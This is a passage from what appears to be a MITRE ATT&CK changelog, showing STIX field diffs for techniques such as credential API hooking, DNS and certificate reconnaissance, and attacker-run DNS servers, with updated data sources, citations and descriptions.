monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 13:46:29.922000+00:00 | 2021-10-15 07:41:41.496000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Service: Service Creation |
| x_mitre_data_sources[1] | Windows Registry | Service: Service Modification |
| x_mitre_data_sources[2] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[3] | Process command-line parameters | Process: OS API Execution |
| x_mitre_data_sources[4] | Process monitoring | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Creation | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may hook into Windows application programming in | t | 1 | Adversaries may hook into Windows application programming in |
| > | terface (API) functions to collect user credentials. Malicio | > | terface (API) functions to collect user credentials. Malicio | ||
| > | us hooking mechanisms may capture API calls that include par | > | us hooking mechanisms may capture API calls that include par | ||
| > | ameters that reveal user authentication credentials.(Citatio | > | ameters that reveal user authentication credentials.(Citatio | ||
| > | n: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike | > | n: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike | ||
| > | [Keylogging](https://attack.mitre.org/techniques/T1056/001), | > | [Keylogging](https://attack.mitre.org/techniques/T1056/001), | ||
| > | this technique focuses specifically on API functions that | > | this technique focuses specifically on API functions that | ||
| > | include parameters that reveal user credentials. Hooking inv | > | include parameters that reveal user credentials. Hooking inv | ||
| > | olves redirecting calls to these functions and can be implem | > | olves redirecting calls to these functions and can be implem | ||
| > | ented via: * **Hooks procedures**, which intercept and exec | > | ented via: * **Hooks procedures**, which intercept and exec | ||
| > | ute designated code in response to events such as messages, | > | ute designated code in response to events such as messages, | ||
| > | keystrokes, and mouse inputs.(Citation: Microsoft Hook Overv | > | keystrokes, and mouse inputs.(Citation: Microsoft Hook Overv | ||
| > | iew)(Citation: Endgame Process Injection July 2017) * **Impo | > | iew)(Citation: Elastic Process Injection July 2017) * **Impo | ||
| > | rt address table (IAT) hooking**, which use modifications to | > | rt address table (IAT) hooking**, which use modifications to | ||
| > | a process’s IAT, where pointers to imported API functions a | > | a process’s IAT, where pointers to imported API functions a | ||
| > | re stored.(Citation: Endgame Process Injection July 2017)(Ci | > | re stored.(Citation: Elastic Process Injection July 2017)(Ci | ||
| > | tation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInf | > | tation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInf | ||
| > | oSecurity Dynamic Hooking 2015) * **Inline hooking**, which | > | oSecurity Dynamic Hooking 2015) * **Inline hooking**, which | ||
| > | overwrites the first bytes in an API function to redirect co | > | overwrites the first bytes in an API function to redirect co | ||
| > | de flow.(Citation: Endgame Process Injection July 2017)(Cita | > | de flow.(Citation: Elastic Process Injection July 2017)(Cita | ||
| > | tion: HighTech Bridge Inline Hooking Sept 2011)(Citation: MW | > | tion: HighTech Bridge Inline Hooking Sept 2011)(Citation: MW | ||
| > | RInfoSecurity Dynamic Hooking 2015) | > | RInfoSecurity Dynamic Hooking 2015) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 21:29:13.565000+00:00 | 2020-11-10 18:29:31.138000+00:00 |
| description | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Endgame Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Endgame Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Endgame Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) |
| external_references[3]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Windows event logs | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Loaded DLLs | |
| x_mitre_data_sources | DLL monitoring | |
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_data_sources | API monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather credent | t | 1 | Adversaries may gather credentials that can be used during t |
| > | ials that can be used during targeting. Account credentials | > | argeting. Account credentials gathered by adversaries may be | ||
| > | gathered by adversaries may be those directly associated wit | > | those directly associated with the target victim organizati | ||
| > | h the target victim organization or attempt to take advantag | > | on or attempt to take advantage of the tendency for users to | ||
| > | e of the tendency for users to use the same passwords across | > | use the same passwords across personal and business account | ||
| > | personal and business accounts. Adversaries may gather cre | > | s. Adversaries may gather credentials from potential victim | ||
| > | dentials from potential victims in various ways, such as dir | > | s in various ways, such as direct elicitation via [Phishing | ||
| > | ect elicitation via [Phishing for Information](https://attac | > | for Information](https://attack.mitre.org/techniques/T1598). | ||
| > | k.mitre.org/techniques/T1598). Adversaries may also compromi | > | Adversaries may also compromise sites then include maliciou | ||
| > | se sites then include malicious content designed to collect | > | s content designed to collect website authentication cookies | ||
| > | website authentication cookies from visitors.(Citation: ATT | > | from visitors.(Citation: ATT ScanBox) Credential informatio | ||
| > | ScanBox) Credential information may also be exposed to adver | > | n may also be exposed to adversaries via leaks to online or | ||
| > | saries via leaks to online or other accessible data sets (ex | > | other accessible data sets (ex: [Search Engines](https://att | ||
| > | : [Search Engines](https://attack.mitre.org/techniques/T1593 | > | ack.mitre.org/techniques/T1593/002), breach dumps, code repo | ||
| > | /002), breach dumps, code repositories, etc.).(Citation: Reg | > | sitories, etc.).(Citation: Register Deloitte)(Citation: Regi | ||
| > | ister Deloitte)(Citation: Register Uber)(Citation: Detectify | > | ster Uber)(Citation: Detectify Slack Tokens)(Citation: Forbe | ||
| > | Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitH | > | s GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHu | ||
| > | ub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks | > | b Gitrob)(Citation: CNET Leaks) Adversaries may also purchas | ||
| > | ) Adversaries may also purchase credentials from dark web or | > | e credentials from dark web or other black-markets. Gatherin | ||
| > | other black-markets. Gathering this information may reveal | > | g this information may reveal opportunities for other forms | ||
| > | opportunities for other forms of reconnaissance (ex: [Search | > | of reconnaissance (ex: [Search Open Websites/Domains](https: | ||
| > | Open Websites/Domains](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1593) or [Phishing for Inform | ||
| > | T1593) or [Phishing for Information](https://attack.mitre.or | > | ation](https://attack.mitre.org/techniques/T1598)), establis | ||
| > | g/techniques/T1598)), establishing operational resources (ex | > | hing operational resources (ex: [Compromise Accounts](https: | ||
| > | : [Compromise Accounts](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1586)), and/or initial access | ||
| > | T1586)), and/or initial access (ex: [External Remote Service | > | (ex: [External Remote Services](https://attack.mitre.org/te | ||
| > | s](https://attack.mitre.org/techniques/T1133) or [Valid Acco | > | chniques/T1133) or [Valid Accounts](https://attack.mitre.org | ||
| > | unts](https://attack.mitre.org/techniques/T1078)). | > | /techniques/T1078)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-27 02:27:31.090000+00:00 | 2021-04-15 03:26:44.352000+00:00 |
| description | Before compromising a victim, adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 18:40:15.564000+00:00 | 2021-06-21 17:58:03.788000+00:00 |
| x_mitre_data_sources[0] | PowerShell logs | Process: Process Creation |
| x_mitre_data_sources[1] | API monitoring | File: File Access |
| x_mitre_data_sources[2] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[4] | System calls | Process: Process Access |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:46:23.547000+00:00 | 2021-04-22 20:20:14.595000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Active Directory: Active Directory Object Access |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ExtraHop | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's DNS th |
| > | tion about the victim's DNS that can be used during targetin | > | at can be used during targeting. DNS information may include | ||
| > | g. DNS information may include a variety of details, includi | > | a variety of details, including registered name servers as | ||
| > | ng registered name servers as well as records that outline a | > | well as records that outline addressing for a target’s subdo | ||
| > | ddressing for a target’s subdomains, mail servers, and other | > | mains, mail servers, and other hosts. Adversaries may gathe | ||
| > | hosts. Adversaries may gather this information in various | > | r this information in various ways, such as querying or othe | ||
| > | ways, such as querying or otherwise collecting details via [ | > | rwise collecting details via [DNS/Passive DNS](https://attac | ||
| > | DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/0 | > | k.mitre.org/techniques/T1596/001). DNS information may also | ||
| > | 01). DNS information may also be exposed to adversaries via | > | be exposed to adversaries via online or other accessible dat | ||
| > | online or other accessible data sets (ex: [Search Open Techn | > | a sets (ex: [Search Open Technical Databases](https://attack | ||
| > | ical Databases](https://attack.mitre.org/techniques/T1596)). | > | .mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citat | ||
| > | (Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gather | > | ion: Circl Passive DNS) Gathering this information may revea | ||
| > | ing this information may reveal opportunities for other form | > | l opportunities for other forms of reconnaissance (ex: [Sear | ||
| > | s of reconnaissance (ex: [Search Open Technical Databases](h | > | ch Open Technical Databases](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1596), [Search Open Webs | > | ques/T1596), [Search Open Websites/Domains](https://attack.m | ||
| > | ites/Domains](https://attack.mitre.org/techniques/T1593), or | > | itre.org/techniques/T1593), or [Active Scanning](https://att | ||
| > | [Active Scanning](https://attack.mitre.org/techniques/T1595 | > | ack.mitre.org/techniques/T1595)), establishing operational r | ||
| > | )), establishing operational resources (ex: [Acquire Infrast | > | esources (ex: [Acquire Infrastructure](https://attack.mitre. | ||
| > | ructure](https://attack.mitre.org/techniques/T1583) or [Comp | > | org/techniques/T1583) or [Compromise Infrastructure](https:/ | ||
| > | romise Infrastructure](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1584)), and/or initial access | ||
| > | 1584)), and/or initial access (ex: [External Remote Services | > | (ex: [External Remote Services](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1133)). | > | hniques/T1133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:02:39.701000+00:00 | 2021-04-15 03:29:18.740000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may set up their o | t | 1 | Adversaries may set up their own Domain Name System (DNS) se |
| > | wn Domain Name System (DNS) servers that can be used during | > | rvers that can be used during targeting. During post-comprom | ||
| > | targeting. During post-compromise activity, adversaries may | > | ise activity, adversaries may utilize DNS traffic for variou | ||
| > | utilize DNS traffic for various tasks, including for Command | > | s tasks, including for Command and Control (ex: [Application | ||
| > | and Control (ex: [Application Layer Protocol](https://attac | > | Layer Protocol](https://attack.mitre.org/techniques/T1071)) | ||
| > | k.mitre.org/techniques/T1071)). Instead of hijacking existin | > | . Instead of hijacking existing DNS servers, adversaries may | ||
| > | g DNS servers, adversaries may opt to configure and run thei | > | opt to configure and run their own DNS servers in support o | ||
| > | r own DNS servers in support of operations. By running thei | > | f operations. By running their own DNS servers, adversaries | ||
| > | r own DNS servers, adversaries can have more control over ho | > | can have more control over how they administer server-side | ||
| > | w they administer server-side DNS C2 traffic ([DNS](https:// | > | DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1071/004)). With control over a | > | 071/004)). With control over a DNS server, adversaries can c | ||
| > | DNS server, adversaries can configure DNS applications to p | > | onfigure DNS applications to provide conditional responses t | ||
| > | rovide conditional responses to malware and, generally, have | > | o malware and, generally, have more flexibility in the struc | ||
| > | more flexibility in the structure of the DNS-based C2 chann | > | ture of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2 | ||
| > | el.(Citation: Unit42 DNS Mar 2019) | > | 019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 00:11:26.376000+00:00 | 2021-04-15 02:49:49.702000+00:00 |
| description | Before compromising a victim, adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019) | Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search DNS dat | t | 1 | Adversaries may search DNS data for information about victim |
| > | a for information about victims that can be used during targ | > | s that can be used during targeting. DNS information may inc | ||
| > | eting. DNS information may include a variety of details, inc | > | lude a variety of details, including registered name servers | ||
| > | luding registered name servers as well as records that outli | > | as well as records that outline addressing for a target’s s | ||
| > | ne addressing for a target’s subdomains, mail servers, and o | > | ubdomains, mail servers, and other hosts. Adversaries may s | ||
| > | ther hosts. Adversaries may search DNS data to gather actio | > | earch DNS data to gather actionable information. Threat acto | ||
| > | nable information. Threat actors can query nameservers for a | > | rs can query nameservers for a target organization directly, | ||
| > | target organization directly, or search through centralized | > | or search through centralized repositories of logged DNS qu | ||
| > | repositories of logged DNS query responses (known as passiv | > | ery responses (known as passive DNS).(Citation: DNS Dumpster | ||
| > | e DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) | > | )(Citation: Circl Passive DNS) Adversaries may also seek and | ||
| > | Adversaries may also seek and target DNS misconfigurations/ | > | target DNS misconfigurations/leaks that reveal information | ||
| > | leaks that reveal information about internal networks. Infor | > | about internal networks. Information from these sources may | ||
| > | mation from these sources may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Search Victim-Owned Websites] | > | [Search Victim-Owned Websites](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1594) or [Search Open | > | niques/T1594) or [Search Open Websites/Domains](https://atta | ||
| > | Websites/Domains](https://attack.mitre.org/techniques/T1593) | > | ck.mitre.org/techniques/T1593)), establishing operational re | ||
| > | ), establishing operational resources (ex: [Acquire Infrastr | > | sources (ex: [Acquire Infrastructure](https://attack.mitre.o | ||
| > | ucture](https://attack.mitre.org/techniques/T1583) or [Compr | > | rg/techniques/T1583) or [Compromise Infrastructure](https:// | ||
| > | omise Infrastructure](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1584)), and/or initial access ( | ||
| > | 584)), and/or initial access (ex: [External Remote Services] | > | ex: [External Remote Services](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1133) or [Trusted Rela | > | niques/T1133) or [Trusted Relationship](https://attack.mitre | ||
| > | tionship](https://attack.mitre.org/techniques/T1199)). | > | .org/techniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:19:40.584000+00:00 | 2021-04-15 03:49:13.409000+00:00 |
| description | Before compromising a victim, adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 23:16:20.202000+00:00 | 2021-04-24 14:04:16.371000+00:00 |
| x_mitre_data_sources[0] | Packet capture | File: File Metadata |
| x_mitre_data_sources[1] | Network protocol analysis | Process: OS API Execution |
| x_mitre_data_sources[2] | File monitoring | File: File Creation |
| x_mitre_data_sources[3] | Application logs | File: File Deletion |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search public | t | 1 | Adversaries may search public digital certificate data for i |
| > | digital certificate data for information about victims that | > | nformation about victims that can be used during targeting. | ||
| > | can be used during targeting. Digital certificates are issue | > | Digital certificates are issued by a certificate authority ( | ||
| > | d by a certificate authority (CA) in order to cryptographica | > | CA) in order to cryptographically verify the origin of signe | ||
| > | lly verify the origin of signed content. These certificates, | > | d content. These certificates, such as those used for encryp | ||
| > | such as those used for encrypted web traffic (HTTPS SSL/TLS | > | ted web traffic (HTTPS SSL/TLS communications), contain info | ||
| > | communications), contain information about the registered o | > | rmation about the registered organization such as name and l | ||
| > | rganization such as name and location. Adversaries may sear | > | ocation. Adversaries may search digital certificate data to | ||
| > | ch digital certificate data to gather actionable information | > | gather actionable information. Threat actors can use online | ||
| > | . Threat actors can use online resources and lookup tools to | > | resources and lookup tools to harvest information about cer | ||
| > | harvest information about certificates.(Citation: SSLShoppe | > | tificates.(Citation: SSLShopper Lookup) Digital certificate | ||
| > | r Lookup) Digital certificate data may also be available fro | > | data may also be available from artifacts signed by the orga | ||
| > | m artifacts signed by the organization (ex: certificates use | > | nization (ex: certificates used from encrypted web traffic a | ||
| > | d from encrypted web traffic are served with content).(Citat | > | re served with content).(Citation: Medium SSL Cert) Informat | ||
| > | ion: Medium SSL Cert) Information from these sources may rev | > | ion from these sources may reveal opportunities for other fo | ||
| > | eal opportunities for other forms of reconnaissance (ex: [Ac | > | rms of reconnaissance (ex: [Active Scanning](https://attack. | ||
| > | tive Scanning](https://attack.mitre.org/techniques/T1595) or | > | mitre.org/techniques/T1595) or [Phishing for Information](ht | ||
| > | [Phishing for Information](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1598)), establishing oper | ||
| > | ues/T1598)), establishing operational resources (ex: [Develo | > | ational resources (ex: [Develop Capabilities](https://attack | ||
| > | p Capabilities](https://attack.mitre.org/techniques/T1587) o | > | .mitre.org/techniques/T1587) or [Obtain Capabilities](https: | ||
| > | r [Obtain Capabilities](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1588)), and/or initial access | ||
| > | T1588)), and/or initial access (ex: [External Remote Service | > | (ex: [External Remote Services](https://attack.mitre.org/te | ||
| > | s](https://attack.mitre.org/techniques/T1133) or [Trusted Re | > | chniques/T1133) or [Trusted Relationship](https://attack.mit | ||
| > | lationship](https://attack.mitre.org/techniques/T1199)). | > | re.org/techniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:19:15.289000+00:00 | 2021-04-15 03:48:37.628000+00:00 |
| description | Before compromising a victim, adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
